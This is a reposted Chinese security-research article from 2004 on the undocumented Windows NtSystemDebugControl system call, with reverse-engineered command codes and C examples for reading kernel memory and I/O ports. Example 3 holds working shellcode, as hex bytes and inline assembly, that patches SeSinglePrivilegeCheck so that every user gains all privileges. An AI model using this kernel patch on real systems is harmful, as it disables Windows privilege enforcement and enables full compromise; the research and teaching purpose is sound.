轉貼一篇,這篇文章還是很8錯的,近來較忙,累死了,汗先......還好這篇可以充充電。
作 者:於暘
郵 件:tombkeeper[0x40]nsfocus[0x2e]com
tombkeeper[0x40]xfocus[0x2e]org
完成於:2004.08.04
關鍵字:NtSystemDebugControl、ZwSystemDebugControl、讀寫內核空間、讀寫MSR、
讀寫物理內存、讀寫IO端口、讀寫總線數據、KdVersionBlock
在《獲取Windows 系統的內核變量》中,我提及了在Windows NT 5.1以上的系統
中存在一個功能強大的 Native API NtSystemDebugControl,下面我們來看看它到底
有多強大。
NtSystemDebugControl是Windows NT系列操作系統上實現的一個系統調用,在不
同系統上的調用號分別爲:
Windows NT 0xba
Windows 2000 0xde
Windows XP 0xff
Windows 2003 0x108
這是一個未文檔化的 API,《Windows NT/2000 Native API Reference》中有相
關介紹。官方定義可以在一個微軟的private頭文件ntexapi.h中找到。該文件中還包
含很多其它內部數據結構。可能Windows NT 4的SDK中還曾經有過這個文件(至少NT4
ResourceKit的支持文檔裏面是這樣說的),但現在似乎微軟只提供給它的合作伙伴。
好在NTKernel新聞組上有一個“very kind person”共享了這個頭文件,你可以從參
考資源[2]的兩個鏈接中得到它。
這就是ntexapi.h中的定義:
typedef enum _SYSDBG_COMMAND {
SysDbgQueryTraceInformation = 1, //KdGetTraceInformation()
SysDbgSetTracepoint = 2, //KdSetInternalBreakpoint()
SysDbgSetSpecialCall = 3, //KdSetSpecialCall()
SysDbgClearSpecialCalls = 4, //KdClearSpecialCalls()
SysDbgQuerySpecialCalls = 5, //KdQuerySpecialCalls()
SysDbgQueryModuleInformation //ntexapi.h中有,但實際上未實現
} SYSDBG_COMMAND, *PSYSDBG_COMMAND;
NTSYSAPI
NTSTATUS
NTAPI
NtSystemDebugControl (
IN SYSDBG_COMMAND Command,
IN PVOID InputBuffer,
IN ULONG InputBufferLength,
OUT PVOID OutputBuffer,
IN ULONG OutputBufferLength,
OUT PULONG ReturnLength
);
從上面可以看出,Windows NT和Windows 2000上的NtSystemDebugControl通過不
同的第一形參可調用五個內核函數,實現相關功能。
NtSystemDebugControl在Windows NT和Windows 2000上的功能還是比較簡陋的,
《Windows NT/2000 Native API Reference》一書對這些已經介紹的很詳細了,本文
不再贅述。
從Windows NT 5.1內核(Windows XP)開始,NtSystemDebugControl的功能被極
大擴增了。根據逆向工程的結果來看,在Windows XP上NtSystemDebugControl的第一
形參可接受 20個不同的功能調用,在Windows 2003上則有28個。
關於NtSystemDebugControl在Windows NT 5.1以上的實現,互聯網上唯一能找到
的資料是BUGTRAQ ID 9694關於該 API的一個漏洞報告(參考資源[1]),事實上,這
個所謂漏洞是不能稱之爲漏洞的,因爲調用這個API需要SeDebugPrivilege 特權,普
通用戶根本執行不了,也就談不上權限提升。
下面的enum是我逆向工程的結果,絕大部分經過測試:
typedef enum _SYSDBG_COMMAND {
//以下5個在Windows NT各個版本上都有
SysDbgGetTraceInformation = 1,
SysDbgSetInternalBreakpoint = 2,
SysDbgSetSpecialCall = 3,
SysDbgClearSpecialCalls = 4,
SysDbgQuerySpecialCalls = 5,
// 以下是NT 5.1 新增的
SysDbgDbgBreakPointWithStatus = 6,
//獲取KdVersionBlock
SysDbgSysGetVersion = 7,
//從內核空間拷貝到用戶空間,或者從用戶空間拷貝到用戶空間
//但是不能從用戶空間拷貝到內核空間
SysDbgCopyMemoryChunks_0 = 8,
//SysDbgReadVirtualMemory = 8,
//從用戶空間拷貝到內核空間,或者從用戶空間拷貝到用戶空間
//但是不能從內核空間拷貝到用戶空間
SysDbgCopyMemoryChunks_1 = 9,
//SysDbgWriteVirtualMemory = 9,
//從物理地址拷貝到用戶空間,不能寫到內核空間
SysDbgCopyMemoryChunks_2 = 10,
//SysDbgReadVirtualMemory = 10,
//從用戶空間拷貝到物理地址,不能讀取內核空間
SysDbgCopyMemoryChunks_3 = 11,
//SysDbgWriteVirtualMemory = 11,
//讀寫處理器相關控制塊
SysDbgSysReadControlSpace = 12,
SysDbgSysWriteControlSpace = 13,
//讀寫端口
SysDbgSysReadIoSpace = 14,
SysDbgSysWriteIoSpace = 15,
//分別調用RDMSR@4和_WRMSR@12
SysDbgSysReadMsr = 16,
SysDbgSysWriteMsr = 17,
//讀寫總線數據
SysDbgSysReadBusData = 18,
SysDbgSysWriteBusData = 19,
SysDbgSysCheckLowMemory = 20,
// 以下是NT 5.2 新增的
//分別調用_KdEnableDebugger@0和_KdDisableDebugger@0
SysDbgEnableDebugger = 21,
SysDbgDisableDebugger = 22,
//獲取和設置一些調試相關的變量
SysDbgGetAutoEnableOnEvent = 23,
SysDbgSetAutoEnableOnEvent = 24,
SysDbgGetPitchDebugger = 25,
SysDbgSetDbgPrintBufferSize = 26,
SysDbgGetIgnoreUmExceptions = 27,
SysDbgSetIgnoreUmExceptions = 28
} SYSDBG_COMMAND, *PSYSDBG_COMMAND;
從上面可以看出,在Windows NT 5.1以上的NtSystemDebugControl可以實現讀寫
內核線性空間數據、讀寫物理內存、讀寫端口、讀寫總線數據、讀寫MSR 等功能;在
Windows NT 5.2以上還可以在系統運行狀態下使能、禁用內核調試以及獲取、設置一
些相關變量等。
顯然,從Windows XP開始,我們再次獲得了MS DOS時代直接操縱系統的權杖,戴
着桂冠,重新回到了奧林匹斯山之巔。
下面舉幾個具體應用的例子。
例子1:
下面代碼演示讀取KdVersionBlock:
//------------------------------------------------------------------------
typedef struct _DBGKD_GET_VERSION64 {
USHORT MajorVersion;
USHORT MinorVersion;
USHORT ProtocolVersion;
USHORT Flags;
USHORT MachineType;
UCHAR MaxPacketType;
UCHAR MaxStateChange;
UCHAR MaxManipulate;
UCHAR Simulation;
USHORT Unused[1];
ULONG64 KernBase;
ULONG64 PsLoadedModuleList;
ULONG64 DebuggerDataList;
} DBGKD_GET_VERSION64, *PDBGKD_GET_VERSION64;
DBGKD_GET_VERSION64 KdVersionBlock;
EnablePrivilege(SE_DEBUG_NAME);
ZwSystemDebugControl
(
SysDbgSysGetVersion,
NULL,
0,
&KdVersionBlock,
sizeof(KdVersionBlock), //必須是0x28
NULL
);
printf ("KernBase: 0x%.8x/n",KdVersionBlock.KernBase);
printf ("PsLoadedModuleList: 0x%.8x/n",KdVersionBlock.PsLoadedModuleList);
printf ("DebuggerDataList: 0x%.8x/n",KdVersionBlock.DebuggerDataList);
//------------------------------------------------------------------------
例子2:
下面代碼演示讀取內核空間數據的操作,這裏讀取的是Windows 2003內核映像的
頭兩個字節,也就是“MZ”。
//------------------------------------------------------------------------
typedef struct _MEMORY_CHUNKS {
ULONG Address;
PVOID Data;
ULONG Length;
}MEMORY_CHUNKS, *PMEMORY_CHUNKS;
MEMORY_CHUNKS QueryBuff;
ULONG ReturnLength;
char Buff[0x2] = {0};
QueryBuff.Address = 0x804e0000; //Windows 2003的KernBase
QueryBuff.Data = Buff; //在此是讀出緩衝
QueryBuff.Length = sizeof(Buff);
EnablePrivilege(SE_DEBUG_NAME);
ZwSystemDebugControl
(
SysDbgCopyMemoryChunks_0,
&QueryBuff,
sizeof(MEMORY_CHUNKS), //必須是0x0C
NULL,
0,
&ReturnLength
);
printf ("/"MZ/": %s/n",Buff);
//------------------------------------------------------------------------
例子3:
下面是一個使用NtSystemDebugControl的SysDbgCopyMemoryChunks_1功能實現的
Patch內核的ShellCode,把0x80580e66由原來的8a450c改爲90b001:
修改前:
nt!SeSinglePrivilegeCheck+0x5c:
80580e66 8a450c mov al,[ebp+0xc]
80580e69 c9 leave
80580e6a c20c00 ret 0xc
修改後:
nt!SeSinglePrivilegeCheck+0x5c:
80580e66 90 nop
80580e67 b001 mov al,0x1
80580e69 c9 leave
80580e6a c20c00 ret 0xc
這樣,SeSinglePrivilegeCheck總是返回True,也就是說,無論哪個用戶,總是
擁有全部系統特權。
/xeb/x09/x66/xb8/x08/x01/x8b/xd4/x0f/x34/xc3/x68/x90/xb0/x01/xc9
/x8b/xc4/x6a/x04/x50/x68/x66/x0e/x58/x80/x54/x5b/x33/xc0/x50/x54
/x50/x50/x6a/x0c/x53/x6a/x09/x50/xe8/xd5/xff/xff/xff/x83
//------------------------------------------------------------------------
#pragma comment(linker, "/entry:main /ALIGN:4096" )
#pragma comment(lib, "kernel32.lib")
#define sysenter __asm __emit 0x0f __asm __emit 0x34
void main(void)
{
__asm
{
int 3 //debug
jmp patch
SystemDebugControl:
mov ax,0x108
mov edx,esp
sysenter
ret
patch:
push 0xc901b090
mov eax,esp
push 0x04
push eax
push 0x80580e66
push esp
pop ebx
xor eax,eax
push eax
push esp //ReturnLength
push eax //OutputBufferLength
push eax //OutputBuffer
push 0x0c //InputBufferLength
push ebx //InputBuffer
push 0x09 //ControlCode
push eax //for sysenter ret
call SystemDebugControl
add esp,0x30 //只是爲了修正堆棧
}
}
//------------------------------------------------------------------------
上面只是一個概念代碼,使用的Patch地址是固定的,對5.2.3790.0 版本的內核
有效。由於調用NtSystemDebugControl 要SeDebugPrivilege,所以這段ShellCode需
要在LocalSystem 的身份的進程空間運行,或者自己增加SeDebugPrivilege。最簡單
的辦法就是在WinDBG中執行。
例子4:
下面是一段完整的代碼,利用NtSystemDebugControl讀寫端口的能力,直接操縱
PC Speaker發聲:
//------------------------------------------------------------------------
//演示用ZwSystemDebugControl讀寫端口使PC Speaker發聲
//tombkeeper 2004.08.03
#include <windows.h>
#include <stdio.h>
#pragma comment(lib, "advapi32")
#define NTAPI __stdcall
#define FCHK(a) if (!(a)) {printf(#a " failed/n"); return 0;}
typedef int NTSTATUS;
typedef enum _SYSDBG_COMMAND
{
SysDbgSysReadIoSpace = 14,
SysDbgSysWriteIoSpace = 15
}SYSDBG_COMMAND, *PSYSDBG_COMMAND;
typedef NTSTATUS (NTAPI * PZwSystemDebugControl) (
SYSDBG_COMMAND ControlCode,
PVOID InputBuffer,
ULONG InputBufferLength,
PVOID OutputBuffer,
ULONG OutputBufferLength,
PULONG ReturnLength
);
PZwSystemDebugControl ZwSystemDebugControl = NULL;
typedef struct _IO_STRUCT
{
DWORD IoAddr; // IN: Aligned to NumBYTEs,I/O address
DWORD Reserved1; // Never accessed by the kernel
PVOID pBuffer; // IN (write) or OUT (read): Ptr to buffer
DWORD NumBYTEs; // IN: # BYTEs to read/write. Only use 1, 2, or 4.
DWORD Reserved4; // Must be 1
DWORD Reserved5; // Must be 0
DWORD Reserved6; // Must be 1
DWORD Reserved7; // Never accessed by the kernel
}
IO_STRUCT, *PIO_STRUCT;
BOOL EnablePrivilege (PCSTR name)
{
HANDLE hToken;
BOOL rv;
TOKEN_PRIVILEGES priv = { 1, {0, 0, SE_PRIVILEGE_ENABLED} };
LookupPrivilegeValue (
0,
name,
&priv.Privileges[0].Luid
);
OpenProcessToken(
GetCurrentProcess (),
TOKEN_ADJUST_PRIVILEGES,
&hToken
);
AdjustTokenPrivileges (
hToken,
FALSE,
&priv,
sizeof priv,
0,
0
);
rv = GetLastError () == ERROR_SUCCESS;
CloseHandle (hToken);
return rv;
}
BYTE InPortB (int Port)
{
BYTE Value;
IO_STRUCT io;
io.IoAddr = Port;
io.Reserved1 = 0;
io.pBuffer = (PVOID) (PULONG) & Value;
io.NumBYTEs = sizeof (BYTE);
io.Reserved4 = 1;
io.Reserved5 = 0;
io.Reserved6 = 1;
io.Reserved7 = 0;
ZwSystemDebugControl
(
SysDbgSysReadIoSpace,
&io,
sizeof (io),
NULL,
0,
NULL
);
return Value;
}
void OutPortB (int Port, BYTE Value)
{
IO_STRUCT io;
io.IoAddr = Port;
io.Reserved1 = 0;
io.pBuffer = (PVOID) (PULONG) & Value;
io.NumBYTEs = sizeof (BYTE);
io.Reserved4 = 1;
io.Reserved5 = 0;
io.Reserved6 = 1;
io.Reserved7 = 0;
ZwSystemDebugControl
(
SysDbgSysWriteIoSpace,
&io,
sizeof (io),
NULL,
0,
NULL
);
};
void BeepOn (int Freq)
{
BYTE b;
if ((Freq >= 20) && (Freq <= 20000))
{
Freq = 1193181 / Freq;
b = InPortB (0x61);
if ((b & 3) == 0)
{
OutPortB (0x61, (BYTE) (b | 3));
OutPortB (0x43, 0xb6);
}
OutPortB (0x42, (BYTE) Freq);
OutPortB (0x42, (BYTE) (Freq >> 8));
}
}
void BeepOff (void)
{
BYTE b;
b = (InPortB (0x61) & 0xfc);
OutPortB (0x61, b);
}
int main (void)
{
HMODULE hNtdll;
ULONG ReturnLength;
OSVERSIONINFO OSVersionInfo;
OSVersionInfo.dwOSVersionInfoSize = sizeof (OSVERSIONINFO);
EnablePrivilege (SE_DEBUG_NAME);
FCHK ((hNtdll = LoadLibrary ("ntdll.dll")) != NULL);
FCHK ((ZwSystemDebugControl = (PZwSystemDebugControl)
GetProcAddress (hNtdll, "ZwSystemDebugControl")) != NULL);
FCHK ((void *) GetVersionEx (&OSVersionInfo) != NULL);
if (OSVersionInfo.dwPlatformId == VER_PLATFORM_WIN32_NT &&
OSVersionInfo.dwMajorVersion >= 5 &&
OSVersionInfo.dwMinorVersion >= 1) //Windows XP以上
{
BeepOn (1000); //聲音頻率1000Hz
Sleep (1000);
BeepOff ();
}
else
{
printf ("This program require Windows XP or Windows 2003./n");
}
return 0;
}
//------------------------------------------------------------------------
參考資源:
[1]Microsoft Windows NtSystemDebugControl() Kernel API Function Privilege
Escalation Vulnerability
http://www.securityfocus.com/bid/9694
[2]ntexapi.h
http://www.codeguru.com/code/legacy/system/ntexapi.zip
http://void.ru/files/Ntexapi.h